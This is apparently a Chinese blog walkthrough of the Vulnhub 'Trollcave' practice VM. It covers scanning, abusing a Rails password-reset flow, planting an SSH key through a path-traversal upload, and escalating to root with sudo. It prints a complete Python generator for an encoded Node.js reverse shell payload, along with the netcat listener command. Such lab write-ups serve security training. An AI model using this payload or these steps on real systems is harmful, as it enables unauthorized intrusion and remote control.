渗透测试之靶机试炼(八)

靶机简介

靶机地址:
https://download.vulnhub.com/trollcave/trollcave-v1-2.ova.torrent

运行环境:
VirtualBox

攻击测试机环境
kali
win 10

工具简介

nmap
dirb
python
nc

靶机网卡设置

三台虚拟主机在同一局域网即可
作者这里直接将靶机桥接到win 10 和kali虚拟机所在网段。
在这里插入图片描述

信息收集

nmap寻找目标ip
命令:nmap 10.211.55.0/24
在这里插入图片描述常规访问80端口
在这里插入图片描述存在登录和注册,但是注册功能关闭了,在登录窗口尝试了爆破,注入等,均未成功。我们使用dirb扫描一下目录
在这里插入图片描述访问找到的url,都进行了跳转,需要登录
这里我们只能继续信息收集
发现主页一篇名为password reset的文章
在这里插入图片描述这是一篇管理人员发布的文章 主要内容就是说添加了一个密码重置的方法,根据提示我们访问password_resets这里目录
在这里插入图片描述并没有打开,这让我感到怀疑,没办法只好继续信息收集,过了好久,也没找到什么有用的,又回到这里,查询了许多资料才知道ruby的resetpassword,参考ruby on rails的教程
https://www.railstutorial.org/book/password_reset#sec-password_resets_resource
https://www.railstutorial.org/book/password_reset#sec-password_resets_resource访问http://10.211.55.33/password_resets/new
在这里插入图片描述尝试重置admin密码失败,有常识页面上给的账户xer,返回如下
在这里插入图片描述访问给的url:http://10.211.55.33/password_resets/edit.qZrbU3WDeexVqjk9_uJjTw?name=xer
在这里插入图片描述输入密码进行重置
在这里插入图片描述我们发现一个文件管理功能
在这里插入图片描述这里能上传文件,由于是ruby写的,所以不能上传木马,这里我们选择直接上传ssh公钥
首先本地生成ssh公钥
在这里插入图片描述将其id_rsa.pub上传至/home/用户/.ssh/authorized_keys下
上传几次均失败,我们这里在Users选项内找到许多用户,我们将其能重置密码的都进行重置密码,登录查看,最后发现在King用户下多一个amdin panel 选项,其内容是文件上传的配置,我们进行配置
在这里插入图片描述之后再进行上传,还是没有成功,最后继续查看其它文件,最后在home下看到一片文章
在这里插入图片描述发现用户rails,经过测试,只有在rails用户下存在.ssh目录,意味着只有这个用户能够进行公钥登录,那么我们将公钥传至该用户的.ssh目录下/home/rails/.ssh/authorized_keys
在这里插入图片描述这由于我们不知当前在哪个目录下,所以选择利用跨目录从根目录进行写入文件,上传成功后,我们进行登录(这里由于作者电脑问题,靶机ip变为10.211.55.35)
在这里插入图片描述一圈

提权

获取到目标服务器shell,利用python获取交互式shell
命令:python -c ‘import pty; pty.spawn("/bin/bash")’
继续进行信息收集,在king用户目录下发现一个文件calc/calc.js
在这里插入图片描述通过查看其源码,发现其有命令执行漏洞,这里我们在网上找了一个生成paylaod的脚本文件
#!/usr/bin/python
import sys

if len(sys.argv) != 3:
print "Usage: %s " % (sys.argv[0])
sys.exit(0)

IP_ADDR = sys.argv[1]
PORT = sys.argv[2]

def charencode(string):
“”“String.CharCode”""
encoded = ‘’
for char in string:
encoded = encoded + “,” + str(ord(char))
return encoded[1:]

print “[+] LHOST = %s” % (IP_ADDR)
print “[+] LPORT = %s” % (PORT)
NODEJS_REV_SHELL = ‘’’(function(){ var require = global.require || global.process.mainModule.constructor._load; if (!require) return; var cmd = (global.process.platform.match(/^win/i)) ? “cmd” : “/bin/sh”; var net = require(“net”), cp = require(“child_process”), util = require(“util”), sh = cp.spawn(cmd, []); var client = this; var counter=0; function StagerRepeat(){ client.socket = net.connect(%s, “%s”, function() { client.socket.pipe(sh.stdin); if (typeof util.pump === “undefined”) { sh.stdout.pipe(client.socket); sh.stderr.pipe(client.socket); } else { util.pump(sh.stdout, client.socket); util.pump(sh.stderr, client.socket); } }); socket.on(“error”, function(error) { counter++; if(counter<= 10){ setTimeout(function() { StagerRepeat();}, 5*1000); } else process.exit(); }); } StagerRepeat(); })();1+1;’’’ % (PORT, IP_ADDR)
print “[+] Encoding”
PAYLOAD = charencode(NODEJS_REV_SHELL)
print “eval(String.fromCharCode(%s))” % (PAYLOAD)
带有参数 ip和port,运行结果如图
在这里插入图片描述利用得到的shell和命令执行漏洞,执行payload
首先在攻击机上使用nc监听1234端口
命令:nc -lvp 1234
在这里插入图片描述利用shell执行paylaod
在这里插入图片描述获取到shell,权限为king
在这里插入图片描述获取交互式shell,执行sudo -l 发现没有密码,可以直接使用sudo提权
执行 sudo bash
在这里插入图片描述获取root权限

写这篇文章学到了好多知识。坚持就是胜利,加油。

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值